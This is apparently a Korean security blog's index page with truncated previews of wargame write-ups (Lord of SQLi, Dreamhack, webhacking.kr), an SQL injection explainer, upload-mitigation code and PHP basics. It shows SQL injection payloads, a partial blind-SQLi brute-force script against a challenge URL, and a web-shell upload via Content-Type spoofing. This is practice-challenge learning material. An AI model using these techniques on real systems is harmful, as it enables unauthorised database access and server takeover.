본문 바로가기

Layer7

(45)
[LOS]orc WriteUp pw가 동일해야 풀리는 문제로, blind sql injection인 것을 알 수 있다. 먼저 pw=' or length(pw) = 8%23 을 입력하여 pw의 길이가 8인것을 알아낸다. import requestspassword = ''for admin_len in range(8): for admin_pass in range(ord('0'), ord('z')): URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' query = {'pw' : '\' or substr(pw, 1, ' + str(admin_len + 1) +')=\'' + password + chr(admin_pass) + ..
[LOS]goblin WriteUp 먼저 코드를 살펴보면, id=guest로 고정이 되어 있고, 싱글쿼터를 필터링하는 것이 보인다. 또한 문제를 풀려면 id=admin으로 로그인 해야되는것으로 보인다. 먼저 id에 아무 숫자나 넣어본다.guest의 no는 1번으로 보인다. no에 1이 아닌 다른숫자를 넣고 id는 싱글쿼터를 우회해야 하니까 16진수로 admin을 넣어 익스하겠다. 익스 성공
[LOS]cobolt WriteUp 들어가면 이런 화면이 뜬다.비밀번호를 md5로 암호화 하여 전달하는걸로 보인다. 나는 pw를 무시하고 id구문에서 sql injection을 진행 할 것이다. id에 admin을 전달하고, '로 닫아준 후 %23으로 뒷 구문을 주석처리 해 준다. 익스 성공
[LOS]gremlin WriteUp 사이트에 접속하면 id를 아무거나 입력하고, 로그인을 하면 풀린다는걸 알 수 있는 코드가 보인다.  파라미터에 이렇게 입력 해 본다. 뒤에 #이 url인코딩 돼서 풀리지 않는 거 같다 #을 %23으로 바꿔서 입력 해 본다. 익스 성공
SQL Injection / Blind SQL Injection SQL Injection 정리SQL Injection은 응용 프로그램 보안 상의 허점을 의도적으로 이용하여, 개발자가 생각지 못한 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 공격방법이다. 예시로 임의의 SQL 로그인 구문을 들겠다. select * from users where userid='' and userpassword='' 이런 로그인 SQL 구문이 있다고 예를 들겠다. admin  userid=admin' or 1=1-- 이렇게 하면 userid엔 admin이 들어가고, 뒤는 --로 주석처리 되어 조건식이 참이 된다. 그래서 익스가 된다. Blind SQL Injection 정리Blind SQL Injection은 데이터베이스로부터 특정한 값이나 데이터를 전달받지 않고, 단..
[Dreamhack]simple_sqli WriteUp 사이트에 들어가면 이런 화면이 뜬다.로그인을 눌러보겠다 이런 화면이 뜬다. #!/usr/bin/python3from flask import Flask, request, render_template, gimport sqlite3import osimport binasciiapp = Flask(__name__)app.secret_key = os.urandom(32)try: FLAG = open('./flag.txt', 'r').read()except: FLAG = '[**FLAG**]'DATABASE = "database.db"if os.path.exists(DATABASE) == False: db = sqlite3.connect(DATABASE) db.execute('create tab..
[Webhacking.kr]Old-43 파일 업로드 취약점 먼저 사이트에 들어가면 웹쉘을 업로드하고, cat /flag를 실행하라고 대놓고 알려준다. 간단하게 웹쉘 코드를 짜서 업로드 해 본다.필터링을 하는 것 같다. 버프수트로 패킷을 잡아 Content-Type을 image/jpeg로 우회 해 본다. 업로드 웹쉘 업로드 성공 익스 성공
파일 업로드 다운로드 취약점 대응방안 2000000) { echo "Sorry, your file is too large."; $uploadOk = 0;}if ($uploadOk == 0) { echo "Sorry, your file was not uploaded.";} else { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) { echo "The file " . basename($_FILES["fileToUpload"]["name"]) . " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; }}..
[Dreamhack]file-download-1 사이트에 접속 해 메모를 올려본다.URL 파라미터에 read?name=ㅇㅇㅇ 이 부분이 궁금 해 소스코드를 찾아본다.#!/usr/bin/env python3import osimport shutilfrom flask import Flask, request, render_template, redirectfrom flag import FLAGAPP = Flask(__name__)UPLOAD_DIR = 'uploads'@APP.route('/')def index(): files = os.listdir(UPLOAD_DIR) return render_template('index.html', files=files)@APP.route('/upload', methods=['GET', 'POST'])def up..
PHP 기본 문법 정리 시작과 끝, 기본PHP는 " " 로 끝난다. 문장의 끝은 세미콜론으로 닫는다. 주석은 //나 /* */를 사용한다 echo : 큰따옴표 사이의 문자열 등등을 출력한다. 예:echo "Layer7"; // Layer7 변수 정의 : $를 붙힌다. 예:$MyName = "윤진영";연산자산술 연산자+, -, *, /, %, ++, --관계 연산자, =, ==, ===, !=논리 연산자&&, ||, !조건문switch case문은 C언어와 동일.반복문위 for문 코드는 1~10까지 줄바꿈을 하며 출력 해 준다. 위 while문 코드는 1~10까지 줄바꿈을 하며 출력 해 준다.